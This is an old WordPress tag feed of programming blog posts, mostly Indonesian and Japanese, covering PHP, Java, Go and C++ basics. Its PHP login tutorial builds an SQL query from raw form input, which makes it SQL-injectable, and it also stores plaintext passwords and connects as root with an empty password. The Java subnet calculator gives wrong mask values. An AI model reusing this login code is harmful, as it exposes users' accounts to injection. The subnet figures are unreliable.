<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>programing &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/programing/</link>
	<description>Feed of posts on WordPress.com tagged "programing"</description>
	<pubDate>Sat, 28 Nov 2009 03:18:33 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Membuat Login (PHP)]]></title>
<link>http://xmoensen.wordpress.com/2009/11/26/membuat-login-php/</link>
<pubDate>Thu, 26 Nov 2009 10:53:57 +0000</pubDate>
<dc:creator>xmoensen</dc:creator>
<guid>http://xmoensen.wordpress.com/2009/11/26/membuat-login-php/</guid>
<description><![CDATA[Membuat Login (PHP) Code database : CREATE TABLE `member` ( `id` bigint(20) NOT NULL auto_increment,]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Membuat Login (PHP)</p>
<p>Code database :</p>
<blockquote><p><strong><em>CREATE TABLE `member` (</em></strong></p>
<p><strong><em>`id` bigint(20) NOT NULL auto_increment,</em></strong></p>
<p><strong><em>`user` varchar(30) default &#8216;0&#8242;,</em></strong></p>
<p><strong><em>`pass` varchar(200) default &#8216;0&#8242;,</em></strong></p>
<p><strong><em>`nama` varchar(255) default &#8216;0&#8242;,</em></strong></p>
<p><strong><em>PRIMARY KEY  (`id`)</em></strong></p>
<p><strong><em>) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;</em></strong></p>
<p><strong><em>INSERT INTO `member` VALUES (1, &#8216;XmoenseN&#8217;, &#8216;h4nk_cyber&#8217;, &#8216;Harry Setya Hadi&#8217;);</em></strong></p></blockquote>
<p>Code Index.php</p>
<blockquote><p><strong><em>&#60;?php</em></strong></p>
<p><strong><em>mysql_connect(&#8216;localhost&#8217;,'root&#8217;,&#8221;) or die (&#8220;Error koneksi&#8221;);</em></strong></p>
<p><strong><em>mysql_select_db(&#8216;member&#8217;);</em></strong></p>
<p><strong><em>if ($_POST['login'])</em></strong></p>
<p><strong><em>{</em></strong></p>
<p><strong><em> $q=mysql_query(&#8220;select * from member where user = &#8216;&#8221;.$_POST['username'].&#8221;&#8216; AND pass = &#8216;&#8221;.$_POST['password'].&#8221;&#8216;&#8221;) or die (&#8220;error&#8221;);</em></strong></p>
<p><strong><em> if ($cek=mysql_num_rows($q) == 0)</em></strong></p>
<p><strong><em> {</em></strong></p>
<p><strong><em>echo &#8220;User Atau Password yang anda masukan Salah&#8221;;</em></strong></p>
<p><strong><em> }else{</em></strong></p>
<p><strong><em> while($data=mysql_fetch_array($q))</em></strong></p>
<p><strong><em> {</em></strong></p>
<p><strong><em> session_start();</em></strong></p>
<p><strong><em> $_SESSION['user']=$data['user'];</em></strong></p>
<p><strong><em> $_SESSION['nama']=$data['nama']; </em></strong></p>
<p><strong><em> header(&#8216;location: main.php&#8217;);</em></strong></p>
<p><strong><em> } </em></strong></p>
<p><strong><em> }</em></strong></p>
<p><strong><em>}</em></strong></p>
<p><strong><em>?&#62;</em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em>&#60;form method=&#8217;post&#8217; action=&#8221;&#62;</em></strong></p>
<p><strong><em>User :&#60;input type=&#8217;text&#8217; name=&#8217;username&#8217;&#62;&#60;br&#62;</em></strong></p>
<p><strong><em>Pass :&#60;input type=&#8217;text&#8217; name=&#8217;password&#8217;&#62;&#60;br&#62;</em></strong></p>
<p><strong><em>&#60;input type=&#8217;submit&#8217; value=&#8217;login&#8217; name=&#8217;login&#8217;&#62;</em></strong></p>
<p><strong><em>&#60;/form&#62;</em></strong></p></blockquote>
<p>Code main.php</p>
<blockquote><p><strong><em>&#60;?php</em></strong></p>
<p><strong><em>session_start();</em></strong></p>
<p><strong><em>echo $_SESSION['nama'];</em></strong></p>
<p><strong><em>?&#62;</em></strong></p></blockquote>
<p>Tampilan dari code di atas :</p>
<p>Tampilan login.php</p>
<p><img class="aligncenter" src="http://i443.photobucket.com/albums/qq151/hacker_minang/1-2.jpg" alt="" width="192" height="89" /></p>
<p>Tampilan main.php</p>
<p><img class="aligncenter" src="http://i443.photobucket.com/albums/qq151/hacker_minang/2-3.jpg" alt="" width="136" height="61" /></p>
<p>Tampilan kesalahan login</p>
<p><img class="aligncenter" src="http://i443.photobucket.com/albums/qq151/hacker_minang/3-2.jpg" alt="" width="200" height="97" /></p>
<p>Sekian trik dalam belajar php, dari code di atas anda bias kembangkan dengan yg lebih efesien dan bagus. Code ini hanyalah sekedar dasar kita untuk membuat sebuah login.</p>
<p>&#8220;salam perjuangan&#8221;</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ujian Online]]></title>
<link>http://xmoensen.wordpress.com/2009/11/24/ujian-online/</link>
<pubDate>Tue, 24 Nov 2009 21:41:30 +0000</pubDate>
<dc:creator>xmoensen</dc:creator>
<guid>http://xmoensen.wordpress.com/2009/11/24/ujian-online/</guid>
<description><![CDATA[ini ada sebuah tugas akhir teman saya yg bernama Rianggara Afangga atau lihat blognya d http://afang]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>ini ada sebuah tugas akhir teman saya yg bernama<strong> Rianggara Afangga</strong> atau lihat blognya d http://afangga.blogspot.com/</p>
<p style="text-align:center;"><img class="aligncenter" title="cokjohon" src="http://i443.photobucket.com/albums/qq151/hacker_minang/1-1.jpg" alt="" width="462" height="283" /></p>
<p style="text-align:center;">ini ada tampilan web yg d kaih teman saya.</p>
<p>mungkin saya tidak dapat memperbaiki dengan sempurnah, tapi saya mencoba untuk membuat webnya lebih baik. karena dengan berbagai kekurangan yang ada, semoga tugas akhir teman saya ini sukses. mungkin ada perubahan yg saya lakukan antara lain, database denga chart yg tidak sesuai apa yg d inputkan. dan ada beberapa yg d hilangkan yg menurut saya yg mubazir saja, contoh file config yg d bikin 2 buah,menurut saya sih cuma butuh 1 saja bisa. dan halam index dan beberapa modif d folder, karena file proses nilai  yg d lakukan terletak d luar, sebaiknya dbuatkan folder 1 buah yg d protek. kalau terletak d luar bisa d akses oleh org lain, karen ini saat bahaya untuk ujian online.</p>
<p>mungkin saya usahakan pake css untuk mengatur tampilan atau pake javascritp untuk bagian yg perlu. contoh java scritp yg d gunakan protek klik kanan, dan ada yg sangat fatal menurut saya yaitu hapir sama dengan tragedi KPU 2005 yaitu SQL injection atau blind PHP. karena d sini hal tersebut bisa d lakukan. dan berbagai hal yg d anggap penting. tapi ingat d sini saya bukan yg pro tapi berusah lebih baik, mungkin setalh melakukan modifikasi mungkina da beberapa bug yg tterbuka. karena pikaran yg begitu sempit ruang lingkupnya. thanks for you cokjohon yg telah mempercayai saya untuk melakuakn modifnya. dan ini akan menambah pengetahuan saya tentang web dan security web. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Visitor dan Hit Counter ( PHP )]]></title>
<link>http://xmoensen.wordpress.com/2009/11/24/visitor-dan-hit-counter-php/</link>
<pubDate>Tue, 24 Nov 2009 07:04:40 +0000</pubDate>
<dc:creator>xmoensen</dc:creator>
<guid>http://xmoensen.wordpress.com/2009/11/24/visitor-dan-hit-counter-php/</guid>
<description><![CDATA[Code : index.php &lt;?php session_start(); include(&#8216;connect.php&#8217;); function IsExists(){ ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><strong>Code : index.php</strong></p>
<blockquote><p><em>&#60;?php<br />
session_start();<br />
include(&#8216;connect.php&#8217;);</p>
<p>function IsExists(){ //fungsi untuk mengecek apakah sudah ada data dalam table<br />
$result = mysql_query(&#8217;select count(*) from counter&#8217;);<br />
$row = mysql_fetch_array($result);<br />
return($row[0] &#62; 0); //kembalikan nilai true jika ternyata sudah ada data<br />
}</p>
<p>function hitung(&#38;$visitor, &#38;$pageview){<br />
if(!IsExists()){ //Jika belum ada data sama sekali dalam table, isi data perdana, visitor = 1, pageview = 1<br />
mysql_query(&#8216;insert into counter values(1,1)&#8217;);<br />
}else{ //Jika sudah ada data<br />
//Tambahkan pageview dengan 1<br />
mysql_query(&#8216;update counter set pageview=pageview+1&#8242;);</p>
<p>//Jika ternyata pertama kali diload dari browser<br />
if(!isset($_SESSION['first_visit'])){<br />
//tambahkan visitor dengan 1<br />
echo($_SESSION['first_visit']);<br />
mysql_query(&#8216;update counter set visitor=visitor+1&#8242;);<br />
$_SESSION['first_visit'] = &#8216;123&#8242;;<br />
}<br />
}</p>
<p>$result = mysql_query(&#8217;select * from counter&#8217;);<br />
$row = mysql_fetch_array($result);<br />
$visitor = $row[0];<br />
$pageview = $row[1];<br />
}</p>
<p>hitung($visitor, $pageview);<br />
echo(&#8216;Visitor : &#8216; . $visitor . &#8216;&#60;br/&#62;&#8217;);<br />
echo(&#8216;Pageview : &#8216; . $pageview );</p>
<p>?&#62;</em></p></blockquote>
<p><strong>data Base :</strong></p>
<blockquote><p><em>create table counter(<br />
visitor int,<br />
pageview int<br />
);</em></p></blockquote>
<p><strong>Code : Connect.php</strong></p>
<blockquote><p><em>&#60;?<br />
$koneksi = mysql_connect(&#8220;localhost&#8221;, &#8220;root&#8217;, &#8220;&#8221;) or die(mysql_error());<br />
mysql_select_db(&#8220;couter&#8221;, $koneksi) or die(mysql_error());<br />
?&#62;</em></p></blockquote>
<p style="text-align:left;">Lakukan Perubah pada sistem webserver anda. selama mencoba<em><br />
</em></p>
<p><em><br />
</em></p>
<blockquote><p><em><br />
</em></p>
<p><em><br />
</em></p>
<blockquote></blockquote>
<blockquote>
<blockquote><p><em><br />
</em></p>
<p>&#160;</p>
</blockquote>
</blockquote>
</blockquote>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open source IDe untuk Flash ]]></title>
<link>http://passthewall.wordpress.com/2009/11/22/open-source-ide-untuk-flash/</link>
<pubDate>Sun, 22 Nov 2009 18:08:23 +0000</pubDate>
<dc:creator>freez</dc:creator>
<guid>http://passthewall.wordpress.com/2009/11/22/open-source-ide-untuk-flash/</guid>
<description><![CDATA[Berapa waktu yang lalu , saya sangat terarik ke perkembangan flash , mencoba sedikit mempelajari car]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Berapa waktu yang lalu , saya sangat terarik ke perkembangan flash , mencoba sedikit mempelajari cara kerja nya .Dengan flash, website yang kita design menjadi semakin interaktif dan banyak fitur yang bisa kita tambahkan ke web site kita . Macromedia flash adalah salah satu ide yang saya ketahui dapat mengedit flash selain aplikasi-aplikasi lainya ,namun sayang nya macromedia flash ini belum ada untuk versi opensource nya .Setelah cukup lama mencari dan mencoba , saya menemukan beberapa aplikasi yang dapat menggantikan macromedia flash dalam hal mengedit file flash .</p>
<p>1.<a href="http://f4l.sourceforge.net/" target="_blank">Flash for Linux</a> merupakan salah satu IDE (Intergrated <a href="http://passthewall.wordpress.com/files/2009/11/screenshot.jpg"><img class="alignright size-medium wp-image-264" title="screenshot" src="http://passthewall.wordpress.com/files/2009/11/screenshot.jpg?w=300" alt="" width="214" height="160" /></a>Development Invorinment) untuk flash yang mudah digunakan , dibantun dengan Kdevelop dan bergantung pada ketersediaan Qt , versi Qt yang dibutuhkah 3.4 keatas .Tampilan nya akan mengingatkan kita pada macromedia flash 8 , namun anda jangan keberu tertitu , ini bukan macromedia flash .</p>
<p>&#160;</p>
<p>&#160;</p>
<p>2. <a href="http://www.openlaszlo.org" target="_blank">OpenLazslo</a> Memiliki lebih banyak otomasi diberbagai <a href="http://passthewall.wordpress.com/files/2009/11/openlaszlo-2-jpg.png"><img class="alignright size-medium wp-image-266" title="OpenLaszlo-[2].jpg" src="http://passthewall.wordpress.com/files/2009/11/openlaszlo-2-jpg.png?w=300" alt="" width="211" height="152" /></a></p>
<p>sektor , kita tidak perlu repot-repot mempelajari action script seperti di macromedia flash , script yang digunakan menyerupai xml ,untuk dapat menggunakanya kita membutuh kan apache tomcat untuk servlet server nya .</p>
<p>&#160;</p>
<p>&#160;</p>
<p>3. <a href="http://www.salasaga.org/" target="_blank">Salasaga </a>Project ini ditujukan untuk memudahkan para pembuat materi pembelajaran dalam membuat modul <a href="http://passthewall.wordpress.com/files/2009/11/salasaga_linux-0-8-0-alpha1.png"><img class="alignright size-medium wp-image-265" title="salasaga_linux-0.8.0-alpha1" src="http://passthewall.wordpress.com/files/2009/11/salasaga_linux-0-8-0-alpha1.png?w=300" alt="" width="232" height="190" /></a>pembelajaran , aplikasi ini mudah untuk digunakan .Pembuatan tutorial menggunakan aplikasi komputer akan lebih mudah jika menggunakan aplikasi ini , cocok untuk pendidik yang membutuhkan aplikasi untuk membuat modul pembelajaran</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dasar-Dasar Bahasa Pemrograman Part IV]]></title>
<link>http://waroknfriends.wordpress.com/2009/11/19/dasar-dasar-bahasa-pemrograman-part-iv/</link>
<pubDate>Thu, 19 Nov 2009 04:23:22 +0000</pubDate>
<dc:creator>Boen</dc:creator>
<guid>http://waroknfriends.wordpress.com/2009/11/19/dasar-dasar-bahasa-pemrograman-part-iv/</guid>
<description><![CDATA[Perulangan ITERATIF VS REKURSIF Perulangan iteratif merupakan perulangan yang melakukan proses perul]]></description>
<content:encoded><![CDATA[Perulangan ITERATIF VS REKURSIF Perulangan iteratif merupakan perulangan yang melakukan proses perul]]></content:encoded>
</item>
<item>
<title><![CDATA[Dasar-Dasar Bahasa Pemrograman Part III]]></title>
<link>http://waroknfriends.wordpress.com/2009/11/17/dasar-dasar-bahasa-pemrograman-part-iii/</link>
<pubDate>Tue, 17 Nov 2009 03:18:04 +0000</pubDate>
<dc:creator>Boen</dc:creator>
<guid>http://waroknfriends.wordpress.com/2009/11/17/dasar-dasar-bahasa-pemrograman-part-iii/</guid>
<description><![CDATA[&nbsp; A. Fungsi Fungsi adalah suatu jenis pembagian program kedalam bagian-bagian yang lebih  kecil]]></description>
<content:encoded><![CDATA[&nbsp; A. Fungsi Fungsi adalah suatu jenis pembagian program kedalam bagian-bagian yang lebih  kecil]]></content:encoded>
</item>
<item>
<title><![CDATA[Dasar-Dasar Bahasa Pemrograman Part II]]></title>
<link>http://waroknfriends.wordpress.com/2009/11/15/dasar-dasar-bahasa-pemrograman-part-ii/</link>
<pubDate>Sun, 15 Nov 2009 14:10:49 +0000</pubDate>
<dc:creator>Boen</dc:creator>
<guid>http://waroknfriends.wordpress.com/2009/11/15/dasar-dasar-bahasa-pemrograman-part-ii/</guid>
<description><![CDATA[Pada bahasan kali ini kita akan membahas masalah PERULANGAN atau LOOPING dalam bahasa pemrograman. P]]></description>
<content:encoded><![CDATA[Pada bahasan kali ini kita akan membahas masalah PERULANGAN atau LOOPING dalam bahasa pemrograman. P]]></content:encoded>
</item>
<item>
<title><![CDATA[Aplikasi Management IP dengan Java]]></title>
<link>http://xmoensen.wordpress.com/2009/11/14/aplikasi-management-ip-dengan-java/</link>
<pubDate>Sat, 14 Nov 2009 20:59:20 +0000</pubDate>
<dc:creator>xmoensen</dc:creator>
<guid>http://xmoensen.wordpress.com/2009/11/14/aplikasi-management-ip-dengan-java/</guid>
<description><![CDATA[Tampilan : Komponen yang di gunakan adalah : 2 buah swing.JButton 11 Buah swing.Jlabel 15 Buah awt.T]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Tampilan :</p>
<p><img class="alignnone" title="tampilan" src="http://i443.photobucket.com/albums/qq151/hacker_minang/a.jpg" alt="" width="448" height="317" /></p>
<p>Komponen yang di gunakan adalah :</p>
<p>2 buah swing.JButton</p>
<p>11 Buah swing.Jlabel</p>
<p>15 Buah awt.TextField</p>
<p>Pada JButton Proses IP ketikan kode berikut ini :</p>
<blockquote><p><em>int client=0,awal=0,akhir=0,sub=0;</em></p>
<p><em>client=Integer.parseInt(vclient.getText());</em></p>
<p><em>if(client == 0) {</em></p>
<p><em>awal=000;</em></p>
<p><em>akhir=000;</em></p>
<p><em>sub=000;</em></p>
<p><em>} else if (client == 1) {</em></p>
<p><em>awal=254;</em></p>
<p><em>akhir=0;</em></p>
<p><em>sub=254;</em></p>
<p><em>}else if (client &#60;=3){</em></p>
<p><em>awal=249;</em></p>
<p><em>akhir=249+client;</em></p>
<p><em>sub=252;</em></p>
<p><em>} else if (client &#60;= 7) {</em></p>
<p><em>awal=241;</em></p>
<p><em>akhir=241+client;</em></p>
<p><em>sub=248;</em></p>
<p><em>} else if (client &#60;= 15) {</em></p>
<p><em>awal=225;</em></p>
<p><em>akhir=225+client;</em></p>
<p><em>sub=240;</em></p>
<p><em>} else if (client &#60;= 31) {</em></p>
<p><em>awal=193;</em></p>
<p><em>akhir=193+client;</em></p>
<p><em>sub=244;</em></p>
<p><em>} else if (client &#60;= 63) {</em></p>
<p><em>awal=129;</em></p>
<p><em>akhir=129+client;</em></p>
<p><em>sub=191;</em></p>
<p><em>} else if (client &#60;= 127) {</em></p>
<p><em>awal=1;</em></p>
<p><em>akhir=1+client;</em></p>
<p><em>sub=128;</em></p>
<p><em>} else if (client &#60;= 255) {</em></p>
<p><em>awal=1;</em></p>
<p><em>akhir=254;</em></p>
<p><em>sub=0;</em></p>
<p><em>} else if (client &#62;=255) {</em></p>
<p><em>awal=000;</em></p>
<p><em>akhir=000;</em></p>
<p><em>sub=000;</em></p>
<p><em>}</em></p>
<p><em> </em></p>
<p><em>vawal.setText(String.valueOf(awal));</em></p>
<p><em>vakhir.setText(String.valueOf(akhir));</em></p>
<p><em>vsub.setText(String.valueOf(sub));</em></p>
<p><em>vawal1.setText(String.valueOf(awal));</em></p>
<p><em>vakhir1.setText(String.valueOf(akhir));</em></p>
<p><em>vsub1.setText(String.valueOf(sub));</em></p></blockquote>
<blockquote><p><em>}</em></p></blockquote>
<p>Pada JButton Exit ketikan perintah ini :</p>
<p><em>this.dispose();</em></p>
<p>Variable  Text.Field</p>
<p>tampilan adalah berikut ini :</p>
<p><img class="aligncenter" title="tampilan utuh" src="http://i443.photobucket.com/albums/qq151/hacker_minang/2-1.jpg" alt="" width="448" height="247" /></p>
<p>Setelah semua code di ketikan, maka tekan “F9”</p>
<p>Apabila sukses, seperti gambar di bawah ini :</p>
<p><img class="aligncenter" title="akhir" src="http://i443.photobucket.com/albums/qq151/hacker_minang/3.jpg" alt="" width="448" height="79" /></p>
<p>Lalu coba jalankan dengan cara menekan tombol “ Shift + F6 “. Masukan jumlah clientnya, dengan secara otomatis Ip awal dan IP akhir dengan Subnet Masknya akan terbentuk.</p>
<p>&#160;</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Sets]]></title>
<link>http://saurabhgoswami.wordpress.com/2009/11/14/google-sets/</link>
<pubDate>Fri, 13 Nov 2009 19:02:55 +0000</pubDate>
<dc:creator>saurabhgoswami</dc:creator>
<guid>http://saurabhgoswami.wordpress.com/2009/11/14/google-sets/</guid>
<description><![CDATA[Google Sets Automatically create sets of items from a few examples. Google Sets on one creation of G]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:center;"><a href="http://labs.google.com/sets"><em><strong>Google Sets</strong></em></a><strong><br />
Automatically create </strong><em><strong>sets</strong></em><strong> of items from a few examples.</strong></p>
<p style="text-align:center;">
<p style="text-align:center;"><strong><br />
</strong></p>
<p><a href="http://labs.google.com/sets">Google Sets</a> on one creation of <a href="http://www.google.co.in/">Google </a>that has help me a lot in my blogs.</p>
<p>Its the best way to Generate <a href="http://en.wikipedia.org/wiki/Tag">Tags </a>that ensure that traffic comes to your blog and your blog gets a nice <a href="http://en.wikipedia.org/wiki/PageRank">page rank</a>.</p>
<p><strong><a href="http://labs.google.com/sets?examples=1">Example</a></strong></p>
<p>films<br />
review<br />
movie<br />
hindi<br />
latest<br />
movies<br />
film<br />
movie<br />
reviews<br />
cinema<br />
dvd<br />
entertainment<br />
mobile<br />
arts<br />
update</p>
<p>I love this conpect of Google and want to Praise them for it.</p>
<p>Only way i could do this is by my blog.. so here it goes.. &#8221; Good Job Done <a href="http://googlers.blogspot.com/">Googlers </a>&#8220;</p>
<p>Must say these <a href="http://googlers.blogspot.com/">googlers </a>have a very different way of looking at things.</p>
<p><em>I will write a blog on </em><a href="http://googlers.blogspot.com/"><em>Googlers </em></a><em>in few days&#8230; Keep Lookin..</em></p>
<p>© All Rights Reserved Saurabh Goswami<br />
<a href="http://www.saurabhgoswami.info">www.saurabhgoswami.info</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GoをXubuntuに入れてみる]]></title>
<link>http://shrineriver.wordpress.com/2009/11/13/go%e3%82%92xubuntu%e3%81%ab%e5%85%a5%e3%82%8c%e3%81%a6%e3%81%bf%e3%82%8b/</link>
<pubDate>Thu, 12 Nov 2009 16:38:33 +0000</pubDate>
<dc:creator>shrineriverdragonarrow</dc:creator>
<guid>http://shrineriver.wordpress.com/2009/11/13/go%e3%82%92xubuntu%e3%81%ab%e5%85%a5%e3%82%8c%e3%81%a6%e3%81%bf%e3%82%8b/</guid>
<description><![CDATA[先のエントリで会社のVM中のCentOSに入れたGoですが、帰宅して自宅PCのXubuntu上にも入れてみました。 基本的にインストール手順は同じ。 OS: Ubuntu 9.10 CPU: Atom]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>先の<a href="http://shrineriver.wordpress.com/2009/11/12/18/" target="_self">エントリ</a>で会社のVM中のCentOSに入れたGoですが、帰宅して自宅PCのXubuntu上にも入れてみました。</p>
<p>基本的にインストール手順は同じ。</p>
<p>OS: Ubuntu 9.10<br />
CPU: Atom 330<br />
Memory: 1GB</p>
<p>なので、環境変数「GOOS=”linux”」「GOARCH=”386″」も同じ&#8230;<br />
と思いましたが、Atom 330 だから64bitでいける筈!</p>
<p>そんなわけで、「GOARCH=&#8221;amd64&#8243;」にしてみました。</p>
<p>で、</p>
<blockquote><p>$ apt-cache pkgnames &#124; egrep &#8216;^(bison&#124;gcc&#124;libc6-dev&#124;ed)$&#8217;<br />
bison<br />
ed<br />
gcc<br />
libc6-dev</p></blockquote>
<p>となったので、取り敢えず必要とされるパッケージは揃ってるな&#8230;<br />
と思ったら然に非ず。</p>
<p>ナンかbisonでエラーが出ます&#8230;orz</p>
<p>仕方ないので</p>
<blockquote><p>$ sudo apt-get install bison</p></blockquote>
<p>とかすると、追加でm4関連のパッケージがインストールされました。なんだかなー</p>
<p>さて気を取り直して&#8230;</p>
<blockquote><p>$ cd $GOROOT/src</p>
<p>$ time ./all.bash</p>
<p>[...snip...]</p>
<p>%%%% making libcgo %%%%</p>
<p>gcc -m64 -O2 -fPIC -o linux_amd64.o -c linux_amd64.c<br />
gcc -m64 -O2 -fPIC -o amd64.o -c amd64.S<br />
gcc -m64 -O2 -fPIC -o util.o -c util.c<br />
In file included from /usr/include/features.h:378,<br />
from /usr/include/stdint.h:26,<br />
from libcgo.h:5,<br />
from util.c:5:<br />
/usr/include/gnu/stubs.h:9:27: error: gnu/stubs-64.h: No such file or directory<br />
In file included from /usr/include/features.h:378,<br />
from /usr/include/pthread.h:23,<br />
from linux_amd64.c:5:<br />
/usr/include/gnu/stubs.h:9:27: error: gnu/stubs-64.h: No such file or directory<br />
make: *** [util.o] エラー 1<br />
make: *** 未完了のジョブを待っています&#8230;.<br />
make: *** [linux_amd64.o] エラー 1</p>
<p>real    1m18.451s<br />
user    2m58.555s<br />
sys    0m21.285s</p></blockquote>
<p>だめですた&#8230;orz<br />
そういやOSは32bit版を入れた気がする。64bit用のヘッダとか入ってるわけないか。</p>
<p>仕方無しにやっぱ32bitの「GOARCH=386」で。</p>
<blockquote><p>$ time ./all.bash</p>
<p>[...snip...]</p>
<p>&#8212; cd ../test<br />
0 known bugs; 0 unexpected bugs</p>
<p>real    6m56.743s<br />
user    7m52.618s<br />
sys    0m55.495s</p></blockquote>
<p>インストール完了。</p>
<p>ついでにTutorialの最初の一歩、恒例の「Hello,world」を。<br />
ちなみに $GOARCH が 386 だと、</p>
<ul>
<li>コンパイラ<br />
$GOBIN/8g</li>
<li>リンカ<br />
$GOBIN/8l</li>
</ul>
<p>みたいですな。なので&#8230;</p>
<blockquote><p>$ cd ~/work/dev<br />
$ vi helloworld.go</p>
<blockquote><p>/**<br />
*  Hello, world<br />
**/</p>
<p>package main<br />
import &#8220;fmt&#8221;</p>
<p>func main() {<br />
fmt.Printf(&#8220;Hello, world; or Καλημέρα κόσμε; or こんにちは 世界\n&#8221;);<br />
}</p></blockquote>
<p>$ 8g helloworld.go<br />
(→ helloworld.8 が作成される)<br />
$ 8l helloworld.8<br />
(→ 8.out が作られる)<br />
$ ./8.out<br />
Hello, world; or Καλημέρα κόσμε; or こんにちは 世界</p></blockquote>
<p>取り敢えず動いたところで今日はもう寝ることにしよう。</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GoをCentOSに入れてみる]]></title>
<link>http://shrineriver.wordpress.com/2009/11/12/18/</link>
<pubDate>Thu, 12 Nov 2009 09:46:55 +0000</pubDate>
<dc:creator>shrineriverdragonarrow</dc:creator>
<guid>http://shrineriver.wordpress.com/2009/11/12/18/</guid>
<description><![CDATA[Googleから、謹製の新プログラミング言語、「Go」が発表された。 既に日本語でまとめて下さっている方がいらっしゃるので、読んでみる。 取敢えず、会社のPCのVMに入れてある CentOS に入れて]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Googleから、謹製の新プログラミング言語、「<a title="Go" href="http://golang.org/" target="_blank">Go</a>」が発表された。<br />
既に日本語でまとめて下さっている方がいらっしゃるので、<a title="inforno :: 個人的Go雑感&#38;メモ" href="http://inforno.net/articles/2009/11/11/go-language" target="_blank">読んでみる</a>。</p>
<p>取敢えず、会社のPCのVMに入れてある CentOS に入れてみた。</p>
<p>OS: CentOS 5.4</p>
<ol>
<li>必要なものを入れる<br />
※bison、mercurial (mercurial はリポジトリからのソースの取得に使う)
<p>&#160;</p>
<blockquote><p>$ sudo yum -y install bison mercurial</p></blockquote>
</li>
<li>環境作成
<ul>
<li>ディレクトリ作成<br />
取敢えず $HOME の下に、デフォルトどおりのディレクトリ構成にしてみる。
<p>&#160;</p>
<blockquote><p>$ cd $HOME<br />
$ mkdir go bin</p></blockquote>
</li>
<li>環境変数設定<br />
デフォルトどおりなら特に必要ないと思われるが一応。<br />
また、私の場合はShellが zsh なので .zshrc を編集したが、 bash の場合は当然 .bashrc に読み替える。
<p>&#160;</p>
<blockquote><p>$ vi ~/.zshrc</p>
<p>※以下を追記<br />
&#8212;ここから&#8212;<br />
## For Go<br />
export GOROOT=&#8221;$HOME/go&#8221;<br />
export GOOS=&#8221;linux&#8221;<br />
export GOARCH=&#8221;386&#8243;<br />
export GOBIN=&#8221;$HOME/bin&#8221;<br />
&#8212;ここまで&#8212;</p>
<p>$ source ~/.zshrc</p></blockquote>
</li>
<li>ソースをリポジトリから取得<br />
<blockquote><p>$ hg clone -r release https://go.googlecode.com/hg/ $GOROOT</p></blockquote>
<p>$GOROOT 以下のディレクトリ構成は以下のようになっている。</p>
<blockquote><p>$ ll $GOROOT<br />
合計 48<br />
-rw-rw-r&#8211; 1   333 11月 12 16:54 AUTHORS<br />
-rw-rw-r&#8211; 1  1894 11月 12 16:54 CONTRIBUTORS<br />
-rw-rw-r&#8211; 1  1557 11月 12 16:54 LICENSE<br />
-rw-rw-r&#8211; 1   468 11月 12 16:54 README<br />
drwxrwxr-x 4  4096 11月 12 16:54 doc<br />
-rw-rw-r&#8211; 1   785 11月 12 16:54 favicon.ico<br />
drwxrwxr-x 2  4096 11月 12 16:54 include<br />
drwxrwxr-x 4  4096 11月 12 16:54 lib<br />
drwxrwxr-x 6  4096 11月 12 16:54 misc<br />
drwxrwxr-x 2  4096 11月 12 16:54 pkg<br />
drwxrwxr-x 8  4096 11月 12 16:54 src<br />
drwxrwxr-x 9  4096 11月 12 16:54 test</p></blockquote>
</li>
</ul>
</li>
<li>インストール<br />
<blockquote><p>$ cd $GOROOT<br />
$ ./all.bash</p></blockquote>
<p>ラスト、以下のように表示されて終了。</p>
<blockquote><p>&#8212; cd ../test<br />
0 known bugs; 0 unexpected bugs</p></blockquote>
</li>
</ol>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fungsi main()]]></title>
<link>http://xmoensen.wordpress.com/2009/11/10/fungsi-main/</link>
<pubDate>Tue, 10 Nov 2009 01:06:42 +0000</pubDate>
<dc:creator>xmoensen</dc:creator>
<guid>http://xmoensen.wordpress.com/2009/11/10/fungsi-main/</guid>
<description><![CDATA[Program C++ memang tidak akan pernah lepas dari suatu fungsi/function. Hal ini karena merupakan ciri]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Program C++ memang tidak akan pernah lepas dari suatu fungsi/function. Hal ini<br />
karena merupakan ciri OOP. Sebuah program C++ minimal memiliki satu fungsi<br />
yaitu main(). Fungsi ini merupakan awal program utama. Tulisan main()<br />
merupakan nama fungsi, sedangkan bagian yang diapit dengan { dan } disebut<br />
blok (tubuh fungsi). Dalam hal ini { merupakan tanda awal blok dan } adalah<br />
tanda akhir blok. Seperti halnya dalam Pascal, { dalam Pascal identik dengan<br />
BEGIN, sedangkan } identik dengan END. Perintah void bermakna bahwa fungsi<br />
main() tidak mengembalikan nilai/value.<br />
Cara penulisan fungsi main() tidak mutlak seperti di atas. Berikut ini cara<br />
penulisan yang lain<br />
#include &#60;iostream.h&#62;<br />
int main()<br />
{<br />
cout &#60;&#60; “Hello world.\n”;<br />
return 0;<br />
}</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Object Oriented Programming (OOP)]]></title>
<link>http://xmoensen.wordpress.com/2009/11/10/object-oriented-programming-oop/</link>
